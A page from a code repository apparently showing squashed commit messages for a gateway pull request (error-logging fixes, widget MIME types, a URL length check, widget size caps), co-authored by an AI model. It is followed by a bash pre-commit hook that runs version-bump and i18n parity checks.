* fix(gateway): distinguish frontend workspace errors + broaden widget MIME map (PR #1725)
Five findings from the latest Copilot review pass — all correct.
1. `read_layout_config` (`src/channels/web/handlers/frontend.rs`) treated
every `workspace.read()` error as "missing file" and silently fell back
to `LayoutConfig::default()`. That masks `IoError`/`SearchFailed`/
backend connectivity problems and drops customizations without any
operator signal. Split the match: `WorkspaceError::DocumentNotFound`
stays silent (common case, hit on every page load), every other
variant now logs at `warn!` before the default fallback so backend
problems surface. Keeping the infallible signature because the cache
assembly path can't crash on workspace errors.
2. `load_widget_manifests` (and `load_resolved_widgets`, which had the
same bug) used `workspace.list().await.unwrap_or_default()`. An empty
widgets directory is a normal empty `Vec`, but a real listing failure
used to come out as `200 []` from `/api/frontend/widgets` — hiding
the outage behind a "no widgets installed" response. Now logs at
`warn!` before the empty-list fallback.
3. `frontend_widget_file_handler` used to map *every* `workspace.read()`
failure to 404, turning every backend outage into a silent stream of
"not found" responses. Match on `WorkspaceError::DocumentNotFound`
for the real 404 path and route every other variant to 500 (with a
distinct `warn!` log) so operational issues show up in status codes
as well as logs. The client-facing body stays generic in both cases
to preserve the path-enumeration hardening.
4. The MIME type fallback for non-(js/css/json/map) extensions was
`text/plain`, which broke SVG rendering and triggered content
sniffing for icon / webfont assets. Docs and tests both explicitly
allow `assets/icon.svg`-shaped paths. Extended the match with
`svg`/`png`/`jpg`/`jpeg`/`gif`/`webp`/`ico` for images and
`woff`/`woff2`/`ttf`/`otf` for webfonts. `text/plain` remains the
last-resort fallback.
5. `_wipe_customizations` in `tests/e2e/scenarios/test_widget_customization.py`
claimed the gateway treats empty/unparseable widget files as "skip
silently", but `read_widget_manifest` logs a `warn!` on parse
failure. Updated the docstring to match reality ("skip with a
`warn!` log and continue") and note that parse-failure warn lines
are expected suite noise.
Addresses review comments r3058951720, r3058951819, r3058951855,
r3058951889, r3058951920.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix(gateway): check is_safe_url length against raw input, not trimmed view (PR #1725)
`is_safe_url` called `.trim()` before the `len() > 2048` cap, so a 4 KB
value padded with leading/trailing whitespace could collapse to a short
URL after trim and slip past the byte-length guard. The cap is a guard
against exfil-shaped payloads (the doc comment is explicit: "longer
values are either pathological or an exfil vector"), so the right thing
to count is what the caller actually wrote.
Reordered: length check now runs against the raw input, then `.trim()`
runs for the empty/whitespace check and the rest of the validation.
Added a regression test (`padded`) that pins the new behavior — without
the raw-length check the trimmed value would be 24 chars and silently
pass.
Independent code review nit; no exploitable bug today (the character
allowlist is the real defense and trailing whitespace URLs are rejected
by every consumer), but the comment and the code now agree.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix(gateway): binary asset docs, CSS scoping caveat, widget size caps, SSE parse logging (PR #1725)
Four non-blocking findings from serrrfirat, all valid.
1. Binary MIME types (png, woff2, ttf, etc.) are mapped in the widget
file handler but `Workspace::read()` returns `String` — binary
payloads get UTF-8 corrupted. Added a `// TODO: requires read_bytes()`
comment on the binary entries and documented the limitation in
FRONTEND.md so widget authors know to host binary assets externally
or Base64-encode them until a binary workspace read path exists.
2. `scope_css` is a brace-counting text transform that doesn't handle
CSS comments (`/* } */`) or string literals (`content: "{"`).
Limitation was documented in the Rust doc comment but not in the
user-facing FRONTEND.md guide. Added a "CSS scoping caveat" note
recommending Unicode escapes for literal braces in `content:`.
3. No per-widget size guard — a multi-MB `index.js` would get inlined
into the cached HTML and bloat every page response. Added
`MAX_WIDGET_JS_BYTES` (512 KB) and `MAX_WIDGET_CSS_BYTES` (256 KB)
constants in `load_resolved_widgets`. Oversized files are skipped
with a `warn!` log naming the widget and the byte count.
4. The SSE event forwarding wrapper silently swallowed `JSON.parse`
errors in an empty `catch (_) {}`, making widget dispatching
failures invisible. Replaced with
`console.warn('[IronClaw] SSE parse error for event', type, parseErr)`.
Also fixed a missing `frontend_html_cache` field in a new
`GatewayState` construction site from the latest staging merge
(`src/channels/web/tests/multi_tenant.rs`).
Addresses review comments r3060175180, r3060175488, r3060175732,
r3060175998.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
38 lines
1.3 KiB
Bash
Executable File
38 lines
1.3 KiB
Bash
Executable File
#!/usr/bin/env bash
|
|
set -euo pipefail
|
|
|
|
# Pre-commit hook: run version bump checks when WIT or extension sources change.
|
|
# Install: git config core.hooksPath .githooks
|
|
|
|
# Only run the check if relevant files are staged
|
|
STAGED=$(git diff --cached --name-only)
|
|
|
|
NEEDS_CHECK=false
|
|
if echo "$STAGED" | grep -qE '^wit/|^channels-src/|^tools-src/'; then
|
|
NEEDS_CHECK=true
|
|
fi
|
|
|
|
if $NEEDS_CHECK; then
|
|
echo "pre-commit: checking version bumps..."
|
|
if ! ./scripts/check-version-bumps.sh; then
|
|
echo ""
|
|
echo "Commit blocked: version bump check failed."
|
|
echo "Bump versions in the relevant registry JSON and/or WIT package declaration."
|
|
echo "To bypass: git commit --no-verify"
|
|
exit 1
|
|
fi
|
|
fi
|
|
|
|
# i18n parity: when any language pack changes, all languages must stay in sync.
|
|
if echo "$STAGED" | grep -qE '^crates/ironclaw_gateway/static/i18n/.*\.js$'; then
|
|
echo "pre-commit: checking i18n parity..."
|
|
if ! ./scripts/check-i18n-parity.sh; then
|
|
echo ""
|
|
echo "Commit blocked: i18n parity check failed."
|
|
echo "Every key added to en.js must also be added to all other language files (zh-CN.js, ko.js, ...)."
|
|
echo "Placeholder tokens like {name} must match across all languages."
|
|
echo "To bypass: git commit --no-verify"
|
|
exit 1
|
|
fi
|
|
fi
|